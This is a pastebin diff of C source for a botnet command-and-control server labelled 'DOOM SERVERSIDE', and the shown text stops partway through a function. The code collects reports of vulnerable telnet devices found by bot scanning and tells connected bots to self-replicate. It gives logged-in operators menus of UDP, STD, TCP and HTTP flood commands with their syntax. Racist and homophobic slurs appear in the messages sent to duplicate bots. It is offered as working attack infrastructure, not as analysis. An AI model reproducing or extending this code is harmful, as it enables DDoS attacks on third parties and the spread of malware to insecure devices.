View difference between Paste ID: rxb83qx3 and 5nJXapz5
SHOW: | | - or go back to the newest paste.
1
/*
2
TYPE : | CLEAR_ARES & CLEAR_LOVE | ,(note to self, change your banner color!)
3
	d8888b.  .d88b.   .d88b.  .88b  d88. 
4
	88  `8D .8P  Y8. .8P  Y8. 88'YbdP`88    
5
	88   88 88    88 88    88 88  88  88    
6
	88   88 88    88 88    88 88  88  88    
7
	88  .8D `8b  d8' `8b  d8' 88  88  88   
8
	Y8888D'  `Y88P'   `Y88P'  YP  YP  YP
9
 
10
Here's a Few Color Codes If you Would Like To Change The Color 
11
12
Blue = '\x1b[0;34m'
13
Brown = '\x1b[0;33m'
14
Cyan = '\x1b[0;36m' 
15
DarkGray = '\x1b[1;30m' 
16
Green = '\x1b[0;32m' 
17
LightBlue = '\x1b[1;34m' 
18
LightCyan = '\x1b[1;36m' 
19
LightGray = '\x1b[0;37m' 
20
LightGreen = '\x1b[1;32m' 
21
LightPurple = '\x1b[1;35m' 
22
LightRed = '\x1b[1;31m' 
23
Normal = '\x1b[0m' 
24
Purple = '\x1b[0;35m' 
25
Red = '\x1b[0;31m' 
26
White = '\x1b[1;37m' 
27
Yellow = '\x1b[1;33m
28
29
*/
30
31
#include <stdio.h>
32
#include <stdlib.h>
33
#include <string.h>
34
#include <sys/types.h>
35
#include <sys/socket.h>
36
#include <netdb.h>
37
#include <unistd.h>
38
#include <time.h>
39
#include <fcntl.h>
40
#include <sys/epoll.h>
41
#include <errno.h>
42
#include <pthread.h>
43
#include <signal.h>
44
45
#define MAXFDS 1000000
46
47
struct account {
48
    char id[20]; 
49
    char password[20];
50
};
51
static struct account accounts[50]; //max users is set on 50 you can edit that to whatever 
52
struct clientdata_t {
53
        uint32_t ip;
54
        char build[7];
55
        char connected;
56
} clients[MAXFDS];
57
struct telnetdata_t {
58
        int connected;
59
} managements[MAXFDS];
60
////////////////////////////////////
61
static volatile FILE *telFD;
62
static volatile FILE *fileFD;
63
static volatile int epollFD = 0;
64
static volatile int listenFD = 0;
65
static volatile int managesConnected = 0;
66
static volatile int TELFound = 0;
67
static volatile int scannerreport;
68
////////////////////////////////////
69
int fdgets(unsigned char *buffer, int bufferSize, int fd)
70
{
71
        int total = 0, got = 1;
72
        while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
73
        return got;
74
}
75
void trim(char *str)
76
{
77
    int i;
78
    int begin = 0;
79
    int end = strlen(str) - 1;
80
    while (isspace(str[begin])) begin++;
81
    while ((end >= begin) && isspace(str[end])) end--;
82
    for (i = begin; i <= end; i++) str[i - begin] = str[i];
83
    str[i - begin] = '\0';
84
}
85
static int make_socket_non_blocking (int sfd)
86
{
87
        int flags, s;
88
        flags = fcntl (sfd, F_GETFL, 0);
89
        if (flags == -1)
90
        {
91
                perror ("fcntl");
92
                return -1;
93
        }
94
        flags |= O_NONBLOCK;
95
        s = fcntl (sfd, F_SETFL, flags); 
96
        if (s == -1)
97
        {
98
                perror ("fcntl");
99
                return -1;
100
        }
101
        return 0;
102
}
103
static int create_and_bind (char *port)
104
{
105
        struct addrinfo hints;
106
        struct addrinfo *result, *rp;
107
        int s, sfd;
108
        memset (&hints, 0, sizeof (struct addrinfo));
109
        hints.ai_family = AF_UNSPEC;
110
        hints.ai_socktype = SOCK_STREAM;
111
        hints.ai_flags = AI_PASSIVE;
112
        s = getaddrinfo (NULL, port, &hints, &result);
113
        if (s != 0)
114
        {
115
                fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
116
                return -1;
117
        }
118
        for (rp = result; rp != NULL; rp = rp->ai_next)
119
        {
120
                sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
121
                if (sfd == -1) continue;
122
                int yes = 1;
123
                if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
124
                s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
125
                if (s == 0)
126
                {
127
                        break;
128
                }
129
                close (sfd);
130
        }
131
        if (rp == NULL)
132
        {
133
                fprintf (stderr, "Fuck Boy Change The Port You idiot\n");
134
                return -1;
135
        }
136
        freeaddrinfo (result);
137
        return sfd;
138
}
139
void broadcast(char *msg, int us, char *sender)
140
{
141
        int sendMGM = 1;
142
        if(strcmp(msg, "PING") == 0) sendMGM = 0;
143
        char *wot = malloc(strlen(msg) + 10);
144
        memset(wot, 0, strlen(msg) + 10);
145
        strcpy(wot, msg);
146
        trim(wot);
147
        time_t rawtime;
148
        struct tm * timeinfo;
149
        time(&rawtime);
150
        timeinfo = localtime(&rawtime);
151
        char *timestamp = asctime(timeinfo);
152
        trim(timestamp);
153
        int i;
154
        for(i = 0; i < MAXFDS; i++)
155
        {
156
                if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
157
                if(sendMGM && managements[i].connected)
158
                {
159
                        send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
160
                        send(i, sender, strlen(sender), MSG_NOSIGNAL);
161
                        send(i, ": ", 2, MSG_NOSIGNAL); 
162
                }
163
                //printf("sent to fd: %d\n", i);
164
                send(i, msg, strlen(msg), MSG_NOSIGNAL);
165
                if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m~> \x1b[31m", 13, MSG_NOSIGNAL);
166
                else send(i, "\n", 1, MSG_NOSIGNAL);
167
        }
168
        free(wot);
169
}
170
void *epollEventLoop(void *useless)
171
{
172
        struct epoll_event event;
173
        struct epoll_event *events;
174
        int s;
175
        events = calloc (MAXFDS, sizeof event);
176
        while (1)
177
        {
178
                int n, i;
179
                n = epoll_wait (epollFD, events, MAXFDS, -1);
180
                for (i = 0; i < n; i++)
181
                {
182
                        if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
183
                        {
184
                                clients[events[i].data.fd].connected = 0;
185
                                close(events[i].data.fd);
186
                                continue;
187
                        }
188
                        else if (listenFD == events[i].data.fd)
189
                        {
190
                                while (1)
191
                                {
192
                                        struct sockaddr in_addr;
193
                                        socklen_t in_len;
194
                                        int infd, ipIndex;
195
                                        in_len = sizeof in_addr;
196
                                        infd = accept (listenFD, &in_addr, &in_len);
197
                                        if (infd == -1)
198
                                        {
199
                                                if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
200
                                                else
201
                                                {
202
                                                        perror ("accept");
203
                                                        break;
204
                                                }
205
                                        }
206
                                        clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
207
                                        int dup = 0;
208
                                        for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
209
                                        {
210
                                                if(!clients[ipIndex].connected || ipIndex == infd) continue;
211
                                           //WE ARE MAKING SURE THERE IS NO DUP CLIENTS
212
                                                if(clients[ipIndex].ip == clients[infd].ip)
213
                                                {
214
                                                        dup = 1;
215
                                                        break;
216
                                                }
217
                                        }
218
 
219
                                        if(dup) 
220
                                        {                  //WE ARE MAKE SURE AGAIN HERE BY SENDING !* LOLNOGTFO|!* GTFOFAG
221
									            if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
222
											    if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
223
												if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
224
												if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
225
												if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
226
												if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
227
                                                close(infd);
228
                                                continue;
229
                                        }
230
 
231
                                        s = make_socket_non_blocking (infd);
232
                                        if (s == -1) { close(infd); break; }
233
 
234
                                        event.data.fd = infd;
235
                                        event.events = EPOLLIN | EPOLLET;
236
                                        s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
237
                                        if (s == -1)
238
                                        {
239
                                                perror ("epoll_ctl");
240
                                                close(infd);
241
                                                break;
242
                                        }
243
 
244
                                        clients[infd].connected = 1;
245
                                        send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
246
										send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL);
247
										
248
                                }
249
                                continue;
250
                        }
251
                        else
252
                        {
253
                                int thefd = events[i].data.fd;
254
                                struct clientdata_t *client = &(clients[thefd]);
255
                                int done = 0;
256
                                client->connected = 1;
257
                                while (1)
258
                                {
259
                                        ssize_t count;
260
                                        char buf[2048];
261
                                        memset(buf, 0, sizeof buf);
262
 
263
                                        while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
264
                                        {
265
                                                if(strstr(buf, "\n") == NULL) { done = 1; break; }
266
                                                trim(buf);
267
                                                if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
268
                                                {
269
                                                if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
270
                                                        continue;
271
                                                }
272
                                                if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
273
                                                {
274
                                                        char *line = strstr(buf, "REPORT ") + 7; 
275
                                                        fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
276
                                                        fflush(telFD);
277
                                                        TELFound++;
278
                                                        continue;
279
                                                }
280
                                                if(strstr(buf, "PROBING") == buf)
281
                                                {
282
                                                        char *line = strstr(buf, "PROBING");
283
                                                        scannerreport = 1;
284
                                                        continue;
285
                                                }
286
                                                if(strstr(buf, "REMOVING PROBE") == buf)
287
                                                {
288
                                                        char *line = strstr(buf, "REMOVING PROBE");
289
                                                        scannerreport = 0;
290
                                                        continue;
291
                                                }
292
                                                if(strcmp(buf, "PONG") == 0)
293
                                                {
294
                                                        continue;
295
                                                }
296
 
297
                                                printf("buf: \"%s\"\n", buf);
298
                                        }
299
 
300
                                        if (count == -1)
301
                                        {
302
                                                if (errno != EAGAIN)
303
                                                {
304
                                                        done = 1;
305
                                                }
306
                                                break;
307
                                        }
308
                                        else if (count == 0)
309
                                        {
310
                                                done = 1;
311
                                                break;
312
                                        }
313
                                }
314
 
315
                                if (done)
316
                                {
317
                                        client->connected = 0;
318
                                        close(thefd);
319
                                }
320
                        }
321
                }
322
        }
323
}
324
unsigned int clientsConnected()
325
{
326
        int i = 0, total = 0;
327
        for(i = 0; i < MAXFDS; i++)
328
        {
329
                if(!clients[i].connected) continue;
330
                total++;
331
        }
332
 
333
        return total;
334
}
335
void *titleWriter(void *sock) 
336
{
337
        int thefd = (int)sock;
338
        char string[2048];
339
        while(1)
340
        {
341
                memset(string, 0, 2048);
342
                sprintf(string, "%c]0; [+]ANGELS Connected: %d [-] GODS Connected: %d[+]%c", '\033', clientsConnected(), managesConnected, '\007');
343
                if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
344
 
345
                sleep(3);
346
        }
347
}
348
int Search_in_File(char *str)
349
{
350
    FILE *fp;
351
    int line_num = 0;
352
    int find_result = 0, find_line=0;
353
    char temp[512];
354
355
    if((fp = fopen("doom.txt", "r")) == NULL){
356
        return(-1);
357
    }
358
    while(fgets(temp, 512, fp) != NULL){
359
        if((strstr(temp, str)) != NULL){
360
            find_result++;
361
            find_line = line_num;
362
        }
363
        line_num++;
364
    }
365
    if(fp)
366
        fclose(fp);
367
368
    if(find_result == 0)return 0;
369
370
    return find_line;
371
}
372
 
373
void *telnetWorker(void *sock)
374
{
375
		char usernamez[80];
376
        int thefd = (int)sock;
377
		int find_line;
378
        managesConnected++;
379
        pthread_t title;
380
        char counter[2048];
381
        memset(counter, 0, 2048);
382
        char buf[2048];
383
        char* nickstring;
384
        char* username;
385
        char* password;
386
        memset(buf, 0, sizeof buf);
387
        char botnet[2048];
388
        memset(botnet, 0, 2048);
389
    
390
        FILE *fp;
391
        int i=0;
392
        int c;
393
        fp=fopen("doom.txt", "r"); 
394
        while(!feof(fp)) 
395
		{
396
				c=fgetc(fp);
397
				++i;
398
        }
399
        int j=0;
400
        rewind(fp);
401
        while(j!=i-1) 
402
		{
403
			fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
404
			++j;
405
        }
406
        
407
        if(send(thefd, "\x1b[31mNickname: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
408
        if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
409
        trim(buf);
410
		sprintf(usernamez, buf);
411
        nickstring = ("%s", buf);
412
        find_line = Search_in_File(nickstring);
413
        if(strcmp(nickstring, accounts[find_line].id) == 0){	
414
       	if(send(thefd, "\x1b[31m*           LOADING HAX          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;	
415
        if(send(thefd, "\x1b[31mPassword: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
416
        if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
417
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
418
        trim(buf);
419
        if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
420
        memset(buf, 0, 2048);
421
        goto fak;
422
        }
423
        failed:
424
        if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
425
        if(send(thefd, "\x1b[31m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
426
        if(send(thefd, "\x1b[31m*    SORRY MAN WRONG PASSWORD     *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
427
        if(send(thefd, "\x1b[31m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
428
		    sleep(5);
429
        goto end;
430
		fak:
431
432
		Title:
433
		pthread_create(&title, NULL, &titleWriter, sock);
434
		char ascii_banner_line1 [5000];
435
		char ascii_banner_line2 [5000];
436
		char ascii_banner_line3 [5000];
437
		char ascii_banner_line4 [5000];
438
		char ascii_banner_line5 [5000];
439
		char ascii_banner_line6 [5000];
440
		char ascii_banner_line7 [5000];
441
		char line1 [80];
442
443
		sprintf(ascii_banner_line1, "\x1b[1;31m           ▓█████▄  ▒█████   ▒█████   ███▄ ▄███▓\r\n");
444
		sprintf(ascii_banner_line2, "\x1b[0;31m           ▒██▀ ██▌▒██▒  ██▒▒██▒  ██▒▓██▒▀█▀ ██▒\r\n");
445
		sprintf(ascii_banner_line3, "\x1b[0;31m           ░██   █▌▒██░  ██▒▒██░  ██▒▓██    ▓██░\r\n");
446
		sprintf(ascii_banner_line4, "\x1b[0;31m           ░██▄  █▌▒██   ██░▒██   ██░▒██    ▒██  \r\n");
447
		sprintf(ascii_banner_line5, "\x1b[0;31m           ░█████▀ ░ ████▓▒░░ ████▓▒░▒██▒   ░██▒  \r\n");
448
		sprintf(ascii_banner_line6, "\x1b[1;31m            ▒▒▓  ▒ ░ ▒░▒░▒░ ░ ▒░▒░▒░ ░ ▒░   ░  ░\r\n");
449
		sprintf(ascii_banner_line7, "\x1b[1;31m            ░ ▒  ▒   ░ ▒ ▒░   ░ ▒ ▒░ ░  ░      ░\r\n");
450
        sprintf(line1, "\x1b[0;32m          [+]-\x1b[37mWelcome %s To The DOOM\x1b[0;32m-[+]\r\n", accounts[find_line].id, buf);
451
452
		if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
453
		if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
454
		if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
455
		if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
456
		if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
457
		if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
458
		if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
459
        if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
460
		while(1) {
461
		if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
462
		break;
463
		}
464
		pthread_create(&title, NULL, &titleWriter, sock);
465
        managements[thefd].connected = 1;
466
		
467
        while(fdgets(buf, sizeof buf, thefd) > 0)
468
        {
469
        if(strstr(buf, "STATUS")) 
470
        {
471
          sprintf(botnet, "[+] Telnet devices: %d [-] Telnet status: %d [+]\r\n", TELFound, scannerreport);
472
		  if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
473
	    }  
474
475
	    if(strstr(buf, "BOTS"))
476
		{  
477
		sprintf(botnet, "[+] Boats Connected: %d [-] Boatnet Captians Online: %d [+]\r\n", clientsConnected(), managesConnected);
478
	    if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
479
        }
480
		
481
	    if(strstr(buf, "ABOUT"))
482
		{  
483
		sprintf(botnet, "DOOM SERVERSIDE. CREDIT TO POODLE AND RTO ~ THIS SHIT PRIVATE MY NIG\r\n");
484
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
485
        }	 
486
487
        if(strstr(buf, "bots"))
488
		{  
489
	    sprintf(botnet, "[+] Boats Connected: %d [-] Boatnet Captians Online: %d [+]\r\n", clientsConnected(), managesConnected);
490
	    if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
491
        }  
492
	    if(strstr(buf, "!* SCANNER OFF"))
493
		{  
494
		sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
495
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
496
        }
497
		if(strstr(buf, "!* TCP"))
498
		{  
499
		sprintf(botnet, "Succesfully Sent A TCP FLOOD\r\n");
500
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
501
        }
502
		if(strstr(buf, "!* UDP"))
503
		{  
504
		sprintf(botnet, "Succesfully Sent A UDP FLOOD\r\n");
505
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
506
        }
507
		if(strstr(buf, "!* STD"))
508
		{  
509
		sprintf(botnet, "Succesfully Sent A STD FLOOD\r\n");
510
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
511
        }
512
		if(strstr(buf, "!* CNC"))
513
		{  
514
		sprintf(botnet, "Succesfully Sent A CNC FLOOD\r\n");
515
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
516
        }
517
		if(strstr(buf, "!* HTTP"))
518
		{  
519
		sprintf(botnet, "Succesfully Sent A HTTP FLOOD\r\n");
520
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
521
        }
522
	    if(strstr(buf, "!* SCANNER ON"))
523
		{  
524
		sprintf(botnet, "TELNET SCANNER STARTED\r\n");
525
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
526
        }
527
		if(strstr(buf, "HELP")) {
528
				pthread_create(&title, NULL, &titleWriter, sock);
529
				char helpline1  [80];
530
				char helpline2  [80];
531
				char helpline3  [80];
532
				char helpline4  [80];
533
				char helpline5  [80];
534
535
				sprintf(helpline1,  "\x1b[0;31mType An Option:\r\n");
536
				sprintf(helpline2,  "\x1b[1;37m[\x1b[35mDDOS\x1b[1;37m] ~ DDOS Comands\r\n");
537
				sprintf(helpline3,  "\x1b[1;37m[\x1b[34mEXTRA\x1b[1;37m] ~ Shows a list of all extra commands\r\n");
538
				sprintf(helpline5,  "\x1b[1;37m[\x1b[0;33mSELF REP\x1b[1;37m] ~ Only use if Admin Permission\r\n");;
539
540
				if(send(thefd, helpline1,  strlen(helpline1),	MSG_NOSIGNAL) == -1) goto end;
541
				if(send(thefd, helpline2,  strlen(helpline2),	MSG_NOSIGNAL) == -1) goto end;
542
				if(send(thefd, helpline3,  strlen(helpline3),	MSG_NOSIGNAL) == -1) goto end;
543
				if(send(thefd, helpline4,  strlen(helpline4),	MSG_NOSIGNAL) == -1) goto end;
544
				if(send(thefd, helpline5,  strlen(helpline5),	MSG_NOSIGNAL) == -1) goto end;
545
				pthread_create(&title, NULL, &titleWriter, sock);
546
				while(1) {
547
				if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
548
				break;
549
				}
550
				continue;
551
		}
552
					if(strstr(buf, "DDOS")) {
553
				pthread_create(&title, NULL, &titleWriter, sock);
554
				char ddosline1  [80];
555
				char ddosline2  [80];
556
				char ddosline3  [80];
557
558
				sprintf(ddosline1, "\x1b[31m\x1b[35m !* UDP [IP] [PORT] [TIME] 32 1024 10 | UDP FLOOD\r\n");
559
				sprintf(ddosline2, "\x1b[31m\x1b[31m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
560
				sprintf(ddosline3, "\x1b[31m\x1b[35m !* KILLATTK | KILLS ALL ATTACKS\r\n");
561
562
				if(send(thefd, ddosline1,  strlen(ddosline1),	MSG_NOSIGNAL) == -1) goto end;
563
				if(send(thefd, ddosline2,  strlen(ddosline2),	MSG_NOSIGNAL) == -1) goto end;
564
				if(send(thefd, ddosline3,  strlen(ddosline3),	MSG_NOSIGNAL) == -1) goto end;
565
				pthread_create(&title, NULL, &titleWriter, sock);
566
				while(1) {
567
				if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
568
				break;
569
				}
570
				continue;
571
			}
572
			if(strstr(buf, "SELF REP")) {
573
				pthread_create(&title, NULL, &titleWriter, sock);
574
				char repline1  [80];
575
				char repline2  [80];
576
				char repline3  [80];
577
				char repline4  [80];
578
				
579
				sprintf(repline1,  "\x1b[31m !* PHONE ON | TURNS ON PHONE SELFREPLIFICATION\r\n");
580
				sprintf(repline2,  "\x1b[35m !* SCANNER ON | TURNS ON TELNET SELFREPLIFICATION\r\n");
581
				sprintf(repline3,  "\x1b[31m !* wget.py | SCANS sithbots.txt PYTHON LIST\r\n");
582
				sprintf(repline4,  "\x1b[35m !* PYTHON OFF | TURNS OFF PYTHON SCANNER\r\n");
583
584
				if(send(thefd, repline1,  strlen(repline1),	MSG_NOSIGNAL) == -1) goto end;
585
				if(send(thefd, repline2,  strlen(repline2),	MSG_NOSIGNAL) == -1) goto end;
586
				if(send(thefd, repline3,  strlen(repline3),	MSG_NOSIGNAL) == -1) goto end;
587
				if(send(thefd, repline4,  strlen(repline4),	MSG_NOSIGNAL) == -1) goto end;
588
				pthread_create(&title, NULL, &titleWriter, sock);
589
				while(1) {
590
				if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
591
				break;
592
				}
593
				continue;
594
			}
595
			if(strstr(buf, "EXTRA")) {
596
				pthread_create(&title, NULL, &titleWriter, sock);
597
				char extraline1  [80];
598
				char extraline2  [80];
599
				char extraline3  [80];
600
601
				sprintf(extraline1,  "\x1b[35m PORTS | PORTS TO HIT WITH DUH\r\n");
602
				sprintf(extraline2,  "\x1b[31m BOTS | BOT COUNT DUH\r\n");
603
				sprintf(extraline3,  "\x1b[35m CLEAR | CLEARS SCREEN DUH\r\n");
604
605
				if(send(thefd, extraline1,  strlen(extraline1),	MSG_NOSIGNAL) == -1) goto end;
606
				if(send(thefd, extraline2,  strlen(extraline2),	MSG_NOSIGNAL) == -1) goto end;
607
				if(send(thefd, extraline3,  strlen(extraline3),	MSG_NOSIGNAL) == -1) goto end;
608
				pthread_create(&title, NULL, &titleWriter, sock);
609
				while(1) {
610
				if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
611
				break;
612
				}
613
				continue;
614
			}
615
	    if(strstr(buf, "CLEAR")){
616
617
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
618
		if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
619
		if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
620
		if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
621
		if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
622
		if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
623
		if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
624
		if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
625
626
        if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
627
        managements[thefd].connected = 1;
628
     	}
629
	    if(strstr(buf, "clear")){
630
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
631
		if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
632
		if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
633
		if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
634
		if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
635
		if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
636
		if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
637
		if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
638
 
639
        if(send(thefd, line1,  strlen(line1), MSG_NOSIGNAL) == -1) goto end;
640
        managements[thefd].connected = 1;
641
		}
642
		if(strstr(buf, "CLEAR_LOVE")){
643
		   
644
		char ascii_banner_line20 [5000];
645
		char ascii_banner_line21 [5000];
646
		char ascii_banner_line22 [5000];
647
		char ascii_banner_line23 [5000];
648
		char ascii_banner_line24 [5000];
649
		char ascii_banner_line25 [5000];
650
		char ascii_banner_line26 [5000];
651
		char love1 [80];
652
    
653
       	sprintf(ascii_banner_line20, "\x1b[31m          ██╗      ██████╗ ██╗   ██╗███████╗\r\n");
654
		sprintf(ascii_banner_line21, "\x1b[31m          ██║     ██╔═══██╗██║   ██║██╔════╝\r\n");
655
		sprintf(ascii_banner_line22, "\x1b[31m          ██║     ██║   ██║██║   ██║█████╗  \r\n");
656
		sprintf(ascii_banner_line23, "\x1b[31m          ██║     ██║   ██║╚██╗ ██╔╝██╔══╝  \r\n");
657
		sprintf(ascii_banner_line24, "\x1b[31m          ███████╗╚██████╔╝ ╚████╔╝ ███████╗\r\n");
658
		sprintf(ascii_banner_line25, "\x1b[31m          ╚══════╝ ╚═════╝   ╚═══╝  ╚══════╝\r\n");
659
		sprintf(ascii_banner_line26, "\x1b[31m\r\n");
660
        sprintf(love1, "\x1b[31m   [(.)(.)]~\x1b[31mWelcome %s To Your Castle\x1b[31m~[(.)(.)]\r\n", accounts[find_line].id, buf);
661
		
662
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
663
		if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
664
		if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
665
		if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
666
		if(send(thefd, ascii_banner_line23, strlen(ascii_banner_line23), MSG_NOSIGNAL) == -1) goto end;
667
		if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
668
		if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
669
		if(send(thefd, ascii_banner_line26, strlen(ascii_banner_line26), MSG_NOSIGNAL) == -1) goto end;
670
		if(send(thefd, love1, strlen(love1), MSG_NOSIGNAL) == -1) goto end;
671
		while(1) {
672
		if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
673
		break;
674
		}
675
		pthread_create(&title, NULL, &titleWriter, sock);
676
        managements[thefd].connected = 1;
677
		continue;
678
     	}
679
		if(strstr(buf, "CLEAR_ARES")){
680
		   
681
		char ascii_banner_line10 [5000];
682
		char ascii_banner_line11 [5000];
683
		char ascii_banner_line12 [5000];
684
		char ascii_banner_line13 [5000];
685
		char ascii_banner_line14 [5000];
686
		char ascii_banner_line15 [5000];
687
		char ascii_banner_line16 [5000];
688
		char ares1 [80];
689
    
690
       	sprintf(ascii_banner_line10, "\x1b[0;31m         █████╗ ██████╗ ███████╗███████╗\r\n");
691
		sprintf(ascii_banner_line11, "\x1b[1;37m        ██╔══██╗██╔══██╗██╔════╝██╔════╝\r\n");
692
		sprintf(ascii_banner_line12, "\x1b[0;31m        ███████║██████╔╝█████╗  ███████╗\r\n");
693
		sprintf(ascii_banner_line13, "\x1b[1;37m        ██╔══██║██╔══██╗██╔══╝  ╚════██║\r\n");
694
		sprintf(ascii_banner_line14, "\x1b[0;31m        ██║  ██║██║  ██║███████╗███████║\r\n");
695
		sprintf(ascii_banner_line15, "\x1b[1;37m        ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚══════╝\r\n");
696
		sprintf(ascii_banner_line16, "\x1b[35m\r\n");
697
